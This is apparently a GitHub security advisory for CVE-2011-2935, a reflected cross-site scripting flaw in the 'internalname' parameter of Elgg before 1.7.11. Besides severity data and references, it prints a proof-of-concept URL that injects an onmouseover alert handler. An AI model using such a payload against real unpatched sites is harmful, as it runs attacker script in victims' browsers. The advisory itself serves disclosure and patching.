GitHub Advisoryadvisory · Packagist
GHSA-mcfm-j5g6-w26f Elgg Reflected XSS Vulnerability
MEDIUM
Official page ↗
- Aliases
- CVE-2011-2935
- Ecosystem
- Packagist
- Packages
- elgg/elgg
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Weaknesses
- CWE-79
- Reviewed
- 2024-01-12
Affected packages
• Packagist elgg/elgg: < 1.7.11 → fixed in 1.7.11
Description
VULNERABILITY DESCRIPTION
The `internalname` parameter is not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser
PROOF-OF-CONCEPT/EXPLOIT
```http
http://localhost/pg/embed/media?internalname=%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22
```
Related
Alias · CVE (1)
- CVE-2011-2935 Elgg through 1.7.10 has XSS vulnerability
Weakness · CWE (1)
- CWE-79 Improper Neutralization of Input During Web Page Generation weakness
References
- https://nvd.nist.gov/vuln/detail/CVE-2011-2935 advisory
- https://github.com/Elgg/Elgg/issues/3544 web
- https://github.com/Elgg/Elgg/commit/2843b4f846874d434a2403ac1f27e41035b45e04 web
- https://github.com/Elgg/Elgg package
- https://oss-security.openwall.narkive.com/1UH3NYx8/cve-request-elgg-1-7-10-multiple-vulnerabilities web
- https://security-tracker.debian.org/tracker/CVE-2011-2935 web
- https://web.archive.org/web/20110907122607/http://blog.elgg.org/pg/blog/brett/read/189/elgg-1711-released web
- http://yehg.net/lab/pr0js/advisories/[elgg_1710]_xss_sqlin web